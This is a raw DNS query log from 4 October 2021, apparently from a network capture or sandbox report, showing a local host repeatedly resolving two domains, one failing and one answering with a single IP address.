Oct 4, 2021 16:01:44.015345097 CEST	8.8.8.8	192.168.2.3	0x7310	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.023895979 CEST	8.8.8.8	192.168.2.3	0x9e88	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.038552999 CEST	8.8.8.8	192.168.2.3	0x6c7b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.045631886 CEST	8.8.8.8	192.168.2.3	0x8147	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.844912052 CEST	8.8.8.8	192.168.2.3	0x5e60	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.867496014 CEST	8.8.8.8	192.168.2.3	0x475b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.955339909 CEST	8.8.8.8	192.168.2.3	0xc308	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.977309942 CEST	8.8.8.8	192.168.2.3	0xe0d8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.735486031 CEST	8.8.8.8	192.168.2.3	0xf7ad	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.759480953 CEST	8.8.8.8	192.168.2.3	0x6470	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.759613991 CEST	8.8.8.8	192.168.2.3	0xf2e2	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.781214952 CEST	8.8.8.8	192.168.2.3	0x86ff	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.634814978 CEST	8.8.8.8	192.168.2.3	0x4909	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.659226894 CEST	8.8.8.8	192.168.2.3	0xf0ae	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.706413984 CEST	8.8.8.8	192.168.2.3	0x8a74	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.729856968 CEST	8.8.8.8	192.168.2.3	0x9100	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.691091061 CEST	8.8.8.8	192.168.2.3	0x3b2e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.716222048 CEST	8.8.8.8	192.168.2.3	0x98b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.892817974 CEST	8.8.8.8	192.168.2.3	0x1545	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.915688992 CEST	8.8.8.8	192.168.2.3	0x4c69	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.751943111 CEST	8.8.8.8	192.168.2.3	0xeae8	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.785895109 CEST	8.8.8.8	192.168.2.3	0x8223	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.975075960 CEST	8.8.8.8	192.168.2.3	0xe5e1	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.019747019 CEST	8.8.8.8	192.168.2.3	0xb424	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.549628973 CEST	8.8.8.8	192.168.2.3	0xc33e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.573421001 CEST	8.8.8.8	192.168.2.3	0x7f81	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.866736889 CEST	8.8.8.8	192.168.2.3	0x6978	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.888550997 CEST	8.8.8.8	192.168.2.3	0x6d77	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.464051962 CEST	8.8.8.8	192.168.2.3	0xeef8	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.486118078 CEST	8.8.8.8	192.168.2.3	0xe860	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.725146055 CEST	8.8.8.8	192.168.2.3	0x18a4	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.747565985 CEST	8.8.8.8	192.168.2.3	0xe93d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.344121933 CEST	8.8.8.8	192.168.2.3	0x7c35	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.389811993 CEST	8.8.8.8	192.168.2.3	0x6b7f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.607173920 CEST	8.8.8.8	192.168.2.3	0x2e2d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.630897999 CEST	8.8.8.8	192.168.2.3	0x15bf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.170308113 CEST	8.8.8.8	192.168.2.3	0xf176	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.200078011 CEST	8.8.8.8	192.168.2.3	0x771d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.421705961 CEST	8.8.8.8	192.168.2.3	0x4187	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.445604086 CEST	8.8.8.8	192.168.2.3	0x119c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.064615011 CEST	8.8.8.8	192.168.2.3	0xfd17	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.090656042 CEST	8.8.8.8	192.168.2.3	0xba19	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.343628883 CEST	8.8.8.8	192.168.2.3	0x6438	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.465876102 CEST	8.8.8.8	192.168.2.3	0x820d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.906785965 CEST	8.8.8.8	192.168.2.3	0xadf7	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.930429935 CEST	8.8.8.8	192.168.2.3	0x3908	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.300546885 CEST	8.8.8.8	192.168.2.3	0xd4ee	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.323960066 CEST	8.8.8.8	192.168.2.3	0x2f3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.671127081 CEST	8.8.8.8	192.168.2.3	0x1dcb	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.693877935 CEST	8.8.8.8	192.168.2.3	0xb25	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.116909981 CEST	8.8.8.8	192.168.2.3	0x3f8a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.138457060 CEST	8.8.8.8	192.168.2.3	0xaf98	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.499788046 CEST	8.8.8.8	192.168.2.3	0xede9	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.522569895 CEST	8.8.8.8	192.168.2.3	0x1e53	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.876173019 CEST	8.8.8.8	192.168.2.3	0xe02e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.933381081 CEST	8.8.8.8	192.168.2.3	0x7942	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.267193079 CEST	8.8.8.8	192.168.2.3	0xdefd	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.290941954 CEST	8.8.8.8	192.168.2.3	0x1cb6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.876588106 CEST	8.8.8.8	192.168.2.3	0x162	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.951416016 CEST	8.8.8.8	192.168.2.3	0x7c5d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.111093998 CEST	8.8.8.8	192.168.2.3	0x2369	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.135504961 CEST	8.8.8.8	192.168.2.3	0xba7d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.810769081 CEST	8.8.8.8	192.168.2.3	0xa69d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.831372976 CEST	8.8.8.8	192.168.2.3	0x80ac	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.988835096 CEST	8.8.8.8	192.168.2.3	0x3290	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.011667967 CEST	8.8.8.8	192.168.2.3	0x120a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.561849117 CEST	8.8.8.8	192.168.2.3	0xfe60	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.584804058 CEST	8.8.8.8	192.168.2.3	0x723b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.715959072 CEST	8.8.8.8	192.168.2.3	0xecc3	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.739310980 CEST	8.8.8.8	192.168.2.3	0xf06b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.421554089 CEST	8.8.8.8	192.168.2.3	0xc41c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.444588900 CEST	8.8.8.8	192.168.2.3	0xaba2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.575865984 CEST	8.8.8.8	192.168.2.3	0xa2b5	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.600392103 CEST	8.8.8.8	192.168.2.3	0x87f6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.376662970 CEST	8.8.8.8	192.168.2.3	0x54ac	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.399732113 CEST	8.8.8.8	192.168.2.3	0x3f9a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.414664984 CEST	8.8.8.8	192.168.2.3	0xc2f7	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.437509060 CEST	8.8.8.8	192.168.2.3	0xf2e0	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.281766891 CEST	8.8.8.8	192.168.2.3	0x536b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.295816898 CEST	8.8.8.8	192.168.2.3	0x2302	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.304243088 CEST	8.8.8.8	192.168.2.3	0x2f52	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.338921070 CEST	8.8.8.8	192.168.2.3	0xed5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.186456919 CEST	8.8.8.8	192.168.2.3	0x559a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.209405899 CEST	8.8.8.8	192.168.2.3	0xad9a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.230065107 CEST	8.8.8.8	192.168.2.3	0x3b8a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.252439022 CEST	8.8.8.8	192.168.2.3	0x69e3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.962095976 CEST	8.8.8.8	192.168.2.3	0x4ee2	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.987164974 CEST	8.8.8.8	192.168.2.3	0x6b8c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.164200068 CEST	8.8.8.8	192.168.2.3	0xbd5c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.187449932 CEST	8.8.8.8	192.168.2.3	0xc6dc	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.935091972 CEST	8.8.8.8	192.168.2.3	0xf1fc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.959322929 CEST	8.8.8.8	192.168.2.3	0x3ed3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.108021021 CEST	8.8.8.8	192.168.2.3	0xd808	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.130484104 CEST	8.8.8.8	192.168.2.3	0xa46b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.716685057 CEST	8.8.8.8	192.168.2.3	0x6049	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.741679907 CEST	8.8.8.8	192.168.2.3	0xc3f6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.963479996 CEST	8.8.8.8	192.168.2.3	0x743e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.988914013 CEST	8.8.8.8	192.168.2.3	0x320f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.522789001 CEST	8.8.8.8	192.168.2.3	0xa878	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.546030045 CEST	8.8.8.8	192.168.2.3	0xf3e4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.837645054 CEST	8.8.8.8	192.168.2.3	0x3c4d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.865601063 CEST	8.8.8.8	192.168.2.3	0x45c6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.418905020 CEST	8.8.8.8	192.168.2.3	0x7332	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.444749117 CEST	8.8.8.8	192.168.2.3	0x5dce	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.736917973 CEST	8.8.8.8	192.168.2.3	0x2dc9	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.759836912 CEST	8.8.8.8	192.168.2.3	0xd0e4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.290956020 CEST	8.8.8.8	192.168.2.3	0xc310	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.779048920 CEST	8.8.8.8	192.168.2.3	0xe902	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.824170113 CEST	8.8.8.8	192.168.2.3	0x3f3b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.140647888 CEST	8.8.8.8	192.168.2.3	0x4845	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.636800051 CEST	8.8.8.8	192.168.2.3	0xfdd4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.905193090 CEST	8.8.8.8	192.168.2.3	0xc45c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:09.581124067 CEST	8.8.8.8	192.168.2.3	0x6274	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:09.649693966 CEST	8.8.8.8	192.168.2.3	0x4f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:11.365058899 CEST	8.8.8.8	192.168.2.3	0x729	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:11.408931971 CEST	8.8.8.8	192.168.2.3	0xf285	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:13.384447098 CEST	8.8.8.8	192.168.2.3	0xe766	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:13.416625023 CEST	8.8.8.8	192.168.2.3	0xc078	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:14.265199900 CEST	8.8.8.8	192.168.2.3	0xc03d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:14.275846004 CEST	8.8.8.8	192.168.2.3	0x5bef	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.092937946 CEST	8.8.8.8	192.168.2.3	0xb7da	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.313065052 CEST	8.8.8.8	192.168.2.3	0x9a4a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.943135023 CEST	8.8.8.8	192.168.2.3	0xe857	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.181984901 CEST	8.8.8.8	192.168.2.3	0xc458	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.868588924 CEST	8.8.8.8	192.168.2.3	0x85ba	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.983612061 CEST	8.8.8.8	192.168.2.3	0xd08d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:17.748272896 CEST	8.8.8.8	192.168.2.3	0xf5e8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:17.767867088 CEST	8.8.8.8	192.168.2.3	0xa0d7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:18.595433950 CEST	8.8.8.8	192.168.2.3	0x20a3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:18.613873005 CEST	8.8.8.8	192.168.2.3	0xc3a7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:19.430831909 CEST	8.8.8.8	192.168.2.3	0x52ba	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:19.430859089 CEST	8.8.8.8	192.168.2.3	0x5fe5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:20.377029896 CEST	8.8.8.8	192.168.2.3	0x60f2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:20.445765972 CEST	8.8.8.8	192.168.2.3	0x5a44	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.201236963 CEST	8.8.8.8	192.168.2.3	0x894b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.344070911 CEST	8.8.8.8	192.168.2.3	0xf2f6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.949906111 CEST	8.8.8.8	192.168.2.3	0x6d4c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:22.358967066 CEST	8.8.8.8	192.168.2.3	0x4adf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:22.970640898 CEST	8.8.8.8	192.168.2.3	0x4a64	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:23.355957031 CEST	8.8.8.8	192.168.2.3	0x89fc	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:23.726246119 CEST	8.8.8.8	192.168.2.3	0x3e99	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:24.219238043 CEST	8.8.8.8	192.168.2.3	0x87d5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:25.204855919 CEST	8.8.8.8	192.168.2.3	0x1978	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:26.130981922 CEST	8.8.8.8	192.168.2.3	0x4493	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:26.979904890 CEST	8.8.8.8	192.168.2.3	0xe99a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:27.492974043 CEST	8.8.8.8	192.168.2.3	0x25ba	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:27.883332014 CEST	8.8.8.8	192.168.2.3	0x8e3a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:28.283639908 CEST	8.8.8.8	192.168.2.3	0x8ad3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:28.664433002 CEST	8.8.8.8	192.168.2.3	0x376e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:29.216454983 CEST	8.8.8.8	192.168.2.3	0xc737	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:29.498852015 CEST	8.8.8.8	192.168.2.3	0x4cf3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.148545980 CEST	8.8.8.8	192.168.2.3	0xb9db	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.598589897 CEST	8.8.8.8	192.168.2.3	0x6174	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.926887989 CEST	8.8.8.8	192.168.2.3	0x6f75	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:31.426640987 CEST	8.8.8.8	192.168.2.3	0xbb3b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:31.781472921 CEST	8.8.8.8	192.168.2.3	0x7713	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:32.567293882 CEST	8.8.8.8	192.168.2.3	0x14c8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:33.517651081 CEST	8.8.8.8	192.168.2.3	0x61bf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:34.297772884 CEST	8.8.8.8	192.168.2.3	0xe93c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:35.166729927 CEST	8.8.8.8	192.168.2.3	0xd5b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:35.451786041 CEST	8.8.8.8	192.168.2.3	0xbf07	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.079058886 CEST	8.8.8.8	192.168.2.3	0xb80f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.299082041 CEST	8.8.8.8	192.168.2.3	0x923c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.954176903 CEST	8.8.8.8	192.168.2.3	0x75bb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.055136919 CEST	8.8.8.8	192.168.2.3	0x9c05	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.760543108 CEST	8.8.8.8	192.168.2.3	0x9ef9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.983242035 CEST	8.8.8.8	192.168.2.3	0x4598	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:38.701226950 CEST	8.8.8.8	192.168.2.3	0xb229	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:38.948369980 CEST	8.8.8.8	192.168.2.3	0x4369	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:39.864387035 CEST	8.8.8.8	192.168.2.3	0x3d2a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.052802086 CEST	8.8.8.8	192.168.2.3	0x38e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.608272076 CEST	8.8.8.8	192.168.2.3	0xec41	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.801426888 CEST	8.8.8.8	192.168.2.3	0x55fb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:41.753556013 CEST	8.8.8.8	192.168.2.3	0xa960	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:41.819552898 CEST	8.8.8.8	192.168.2.3	0xb990	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
